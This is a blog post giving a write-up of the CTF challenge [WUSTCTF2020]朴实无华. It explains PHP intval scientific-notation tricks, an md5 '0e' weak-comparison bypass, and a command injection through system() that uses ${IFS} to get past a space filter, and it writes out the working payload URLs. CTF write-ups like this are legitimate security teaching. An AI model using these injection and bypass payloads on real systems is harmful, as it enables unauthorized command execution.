Loading

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

进去就是一个hackme

查看前端代码:

 

 

 看到个bot,那就看看robots.txt

 

访问fAke_f1agggg.php

 

发现一个假flag

 前端代码也没东西,那只能看网络请求了

 

看到个look_at_me字段

访问/fl4g.php

 

看到个朱一旦?

注意到这里有许多中文乱码,但是貌似不重要(之类本来是正常中文,这里貌似环境出了点问题)

可以下个插件改一下编码格式

 

代码如下:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
金钱解决不了穷人的本质问题

 

 

先看第一关:

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

传入num,num转数字要小于2020,但是num+1转数字大于2021

这里研究一下intval函数

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
                            echo intval(1e10);                    // 1410065408
                            echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

主要看科学计算法

intval(1e2)=100

intval('1e2')=1     因为这里字符串转时候只看前面的1了

而intval('1e2'+1)=101  这里先字符串转数字变成100再加1

注意这再php7无效

php7:

但是这题有效

payload:?num=2e5

 

继续看第二关:

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

a=md5(a)

这里是弱类型比较,主要看积累了

a=0e215962017

md5(a)=0e291242476940776845150308577824

都是0e开头

payload:?md5=0e215962017

 

第三关:

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
get_flag中的cat 替换成 wctf2020、
然后执行get_flag
说实话,意义不明 为啥要用cat???
要是flag文件名里有cat当我没说

先ls:
?num=2e5&md5=0e215962017&get_flag=ls

 

 

再:随便nl

注意空格过滤了,用${IFS}代替

?num=2e5&md5=0e215962017&get_flag=nl${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

 

 





说起来,我积累了一个数据的知识点,存在本地一个记事本里
就这刚才手贱 全选空格 ctrl+s退出
全没了,吸取教训啊同志们,关键文档定时备份,最好直接上云端

 

 

 

 

 

posted @ 2021-09-10 02:58  Aninock  阅读(174)  评论(0编辑  收藏  举报